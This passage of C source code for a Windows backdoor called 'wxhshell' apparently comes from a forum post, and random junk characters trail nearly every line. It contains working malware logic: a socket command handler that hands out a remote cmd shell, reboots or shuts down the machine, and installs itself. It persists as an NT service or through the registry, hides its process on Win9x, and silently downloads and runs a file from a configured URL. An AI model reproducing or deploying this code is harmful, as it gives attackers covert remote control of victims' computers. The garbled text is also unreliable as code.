      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ( ,1}P  
    break; b:3n)-V{u  
  } 08AC 9  
  // 安装 {Ts@#V=:  
  case 'i': { HL$}Gh]q  
    if(Install()) hFl$u8KV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U]j4Izq  
    else su6x okt  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Jcf'Zw"\  
    break; {o"X8  
    } IPmSkK  
  // 卸载 C{>@b:]p  
  case 'r': { 4]9+   
    if(Uninstall()) nB"r<?n<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]jiM  
    else jqxeON  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @s!9 T  
    break; Kn3qq  
    } {N1Ss|6  
  // 显示 wxhshell 所在路径 wuE]ju<  
  case 'p': { /.<%y 8v  
    char svExeFile[MAX_PATH]; D>M a3g  
    strcpy(svExeFile,"\n\r"); e^kccz2f  
      strcat(svExeFile,ExeFile); nN" Y~W^k  
        send(wsh,svExeFile,strlen(svExeFile),0); q !\Ht2$b  
    break; d%_v eVIe  
    } L4`bGZl55  
  // 重启 pOP`n3m0  
  case 'b': { UMR0S5`}  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); gX<"-,5jc  
    if(Boot(REBOOT)) N: 'v^0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?8[,0l:|  
    else { +7n;Bsk _  
    closesocket(wsh); `<&RZB2  
    ExitThread(0); 4 zuM?Dp  
    } tiG=KHK%o  
    break; *A C){M  
    } 'Lu7cb^  
  // 关机 <>/0 ;J1<  
  case 'd': { PD$XLZ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); z =1 J{]  
    if(Boot(SHUTDOWN)) 'qcLK>E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nEu,1  
    else { !|6M,Rk_  
    closesocket(wsh); yO Ed8  
    ExitThread(0); MGpP'G:v  
    } 0<*R 0  
    break; vQB;a?)o  
    } 2RXU75VY  
  // 获取shell #4S">u  
  case 's': { HqNM31)  
    CmdShell(wsh); N,U<.{T=A  
    closesocket(wsh); bM7y}P5`1  
    ExitThread(0); o C0K!{R*  
    break; [=*c8  
  } 's]I:06A  
  // 退出 $YuVM  
  case 'x': { -oc@$*t  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); U-/-aNJ]U  
    CloseIt(wsh); @+II@[ _lT  
    break; iu!j#VO  
    } x +Vp&  
  // 离开 1SIhW:C  
  case 'q': { }T=0]u4,  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); S9kagiFX\  
    closesocket(wsh); 8a{S*  
    WSACleanup(); BeP]M1\?>  
    exit(1); q#9JJWSs  
    break; "@: b'm  
        } F FHk0!3  
  } P,5gaT)  
  } J6pQ){;6  
q]Y [W1  
  // 提示信息 4oW6&1  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y1 RiuJtL  
} ?EP>yCR9  
  } BR\3ij  
qr>:meJy4  
  return; R'R LF =  
} Hq9yu*!u  
;xF5P'T?|  
// shell模块句柄 ~=HrD?-99p  
int CmdShell(SOCKET sock) 1.\|,$  
{ 3S4'x4*  
STARTUPINFO si; 5J!ncLNm{  
ZeroMemory(&si,sizeof(si)); 3[8F:I0UL  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |"V]$s$ c  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; s5{N+O)~S  
PROCESS_INFORMATION ProcessInfo; Fw ,'a  
char cmdline[]="cmd"; 2<&lrsh  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); c%p7?3Ry  
  return 0; S[p.`<{J  
} 7_t\wmvYp  
+$Q.N{LV  
// 自身启动模式 ,<iJ#$: Sx  
int StartFromService(void) !YD~o/t@|  
{ &"!s+_  
typedef struct =TImx.D:  
{ tXj28sh$  
  DWORD ExitStatus; awP ']iE  
  DWORD PebBaseAddress; 4o7(cP  
  DWORD AffinityMask;  N7%iz+  
  DWORD BasePriority; ,\*PpcU  
  ULONG UniqueProcessId; <>3}<i<[&  
  ULONG InheritedFromUniqueProcessId; eu!B ,  
}   PROCESS_BASIC_INFORMATION; Fkgnc{NI  
xWkCP2$?P  
PROCNTQSIP NtQueryInformationProcess; 5 9$B z'LY  
Glz)-hjJ:n  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 'N1_:$z@(  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }yM /z  
:N!Fe7H,  
  HANDLE             hProcess; =.vc={_ ?  
  PROCESS_BASIC_INFORMATION pbi; rv`kP"I  
D0T0Km/"  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 76e%&ZG)Q  
  if(NULL == hInst ) return 0; &YMz3ugI  
9qyA{ |3  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); r$3{1HXc  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); O'tVZ!C#J  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #i$/qk= N  
R7~H}>uaF  
  if (!NtQueryInformationProcess) return 0; "4W@p'  
RU} M&&  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); cEkf9:_La  
  if(!hProcess) return 0; qs\ O(K8  
A2Je*Gz  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 29:1crzx~  
`fw:   
  CloseHandle(hProcess); )b<-=VR  
JNY;;9o  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); lPcp 17U  
if(hProcess==NULL) return 0;  Fa  
! Jh/M^  
HMODULE hMod; k-;%/:Om  
char procName[255]; 4 VtI8f!  
unsigned long cbNeeded; 4-P'e%S  
Mm7l!  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); S *3N6*-l"  
dz^l6<a"n  
  CloseHandle(hProcess); 1pe eecE  
DPENYr  
if(strstr(procName,"services")) return 1; // 以服务启动 IyTL|W6  
t__UqCq~h  
  return 0; // 注册表启动 nCMv&{~  
} FD?!bI4  
Yh`P+L  
// 主模块 p-]vf$u  
int StartWxhshell(LPSTR lpCmdLine) &\(p<TF  
{ W/*2I3a  
  SOCKET wsl; ,TrrqCw>  
BOOL val=TRUE; A?l.(qG C_  
  int port=0; _g+^jR4  
  struct sockaddr_in door; 2[WH8l+  
=nQ"ye  
  if(wscfg.ws_autoins) Install(); }6#lE,\lM  
Z i-)PK^  
port=atoi(lpCmdLine); >T*/[{L8;  
U68o"iE  
if(port<=0) port=wscfg.ws_port; lR5< G  
Wn*>h'R  
  WSADATA data; +5n,/YjS`  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; xO8-vmf2  
N?!]^jI,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   #R_IF&7  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Ap}^6_YXd  
  door.sin_family = AF_INET; ImJ2tz6  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); m/#)B6@A  
  door.sin_port = htons(port); A%H"a+  
ICSi<V[y1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {  $$E!u}  
closesocket(wsl); 2{!o"6t  
return 1; [t^Z2a{  
} 7CfHL;+m<4  
O`2;n.>\  
  if(listen(wsl,2) == INVALID_SOCKET) { EsA)o 5  
closesocket(wsl); N(<4nAE  
return 1; ElNKCj<M  
} Xo[={2_  
  Wxhshell(wsl); Ktrqrl^IJ  
  WSACleanup(); &WW|! 6  
'1?b?nVo  
return 0; cx?XJ)  
H]@M00C  
} [}snKogp  
kh3PEq   
// 以NT服务方式启动 _tE`W96J  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) PprCz"  
{ <"I#lib  
DWORD   status = 0; N}0-L$@SL  
  DWORD   specificError = 0xfffffff; V:?exJg9  
s;-(dQ{O  
  serviceStatus.dwServiceType     = SERVICE_WIN32; `TNW LD@Z  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Y{P0?`  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; TxZ ^zj  
  serviceStatus.dwWin32ExitCode     = 0; NUVFG;  
  serviceStatus.dwServiceSpecificExitCode = 0; 0eQwi l@  
  serviceStatus.dwCheckPoint       = 0; _F|oL|  
  serviceStatus.dwWaitHint       = 0; 9!hiCqA&  
_~m@ SI  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8,0p14I5;  
  if (hServiceStatusHandle==0) return; <ptZY.8N  
[d="94Ab  
status = GetLastError(); FX QUj&9  
  if (status!=NO_ERROR) W7 9wz\a  
{ {(r`&[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; I f9t^T#  
    serviceStatus.dwCheckPoint       = 0; __Kn 1H{  
    serviceStatus.dwWaitHint       = 0; BM+v,hGY  
    serviceStatus.dwWin32ExitCode     = status; 'UGkL;  
    serviceStatus.dwServiceSpecificExitCode = specificError; _hgu:  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); sqkk 4w1#C  
    return; uveby:dh  
  } U_ j\UQC  
Hk'D@(h S  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; p<#WueR[  
  serviceStatus.dwCheckPoint       = 0; 5 rpX"(  
  serviceStatus.dwWaitHint       = 0; feOX]g#  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \XaKq8uE  
} qKX3Npw  
m[~fT(NI  
// 处理NT服务事件,比如:启动、停止 -ea":}/  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~>:uMXyV2t  
{ <-xI!o"}  
switch(fdwControl) \{W}  
{ \A@Mlpe&t  
case SERVICE_CONTROL_STOP: ,Y|WSKY*  
  serviceStatus.dwWin32ExitCode = 0; d{?X:*F  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; L F\4>(C2g  
  serviceStatus.dwCheckPoint   = 0; F91'5D,u0  
  serviceStatus.dwWaitHint     = 0; tOx)t$ix  
  { V=%j ]`Os  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); n&V\s0  
  } L+s3@ C;b  
  return; &s.S) 'l4l  
case SERVICE_CONTROL_PAUSE: NRU&GCVwu  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 5>{S^i~!  
  break; 4-RzWSFbo`  
case SERVICE_CONTROL_CONTINUE: @J"Gn-f~  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; L4bx [  
  break; "<f"r#   
case SERVICE_CONTROL_INTERROGATE: kk6Af\NZ  
  break; 15NeC7GAh  
}; iTf]Pd'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S>AM?  
} k+ Shhe1  
F Xbf7G)H  
// 标准应用程序主函数 F@</Ev  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .EJo 9s'  
{ DbRq,T  
WCc7 MK  
// 获取操作系统版本 1D3{\v  
OsIsNt=GetOsVer(); ]3B8D<p  
GetModuleFileName(NULL,ExeFile,MAX_PATH); L\1&$|?  
u-yVc*<,  
  // 从命令行安装 R(jp  
  if(strpbrk(lpCmdLine,"iI")) Install(); b^WTX  
Bf {h\>q  
  // 下载执行文件 q~QB?+ x&  
if(wscfg.ws_downexe) { xaQO=[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 0E[&:6#Y  
  WinExec(wscfg.ws_filenam,SW_HIDE); 3aL8GMiu  
} >)E{Hs  
Npq_1L  
if(!OsIsNt) { Aj9<4N  
// 如果时win9x,隐藏进程并且设置为注册表启动 KxZup\\:v  
HideProc(); hzG+s#  
StartWxhshell(lpCmdLine); >NL4&MV:  
} $9LI v  
else $\:;N]Cs~0  
  if(StartFromService()) BhJag L ^o  
  // 以服务方式启动 zQpF, N<b  
  StartServiceCtrlDispatcher(DispatchTable); 6x?3%0Km  
else *^|.bBG  
  // 普通方式启动 AmSrc.  
  StartWxhshell(lpCmdLine); ^*!Tq&Dst|  
{<f |h)r  
return 0; W|NT*g{;M  
}
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只看该作者 1 发表于: 2006-10-10
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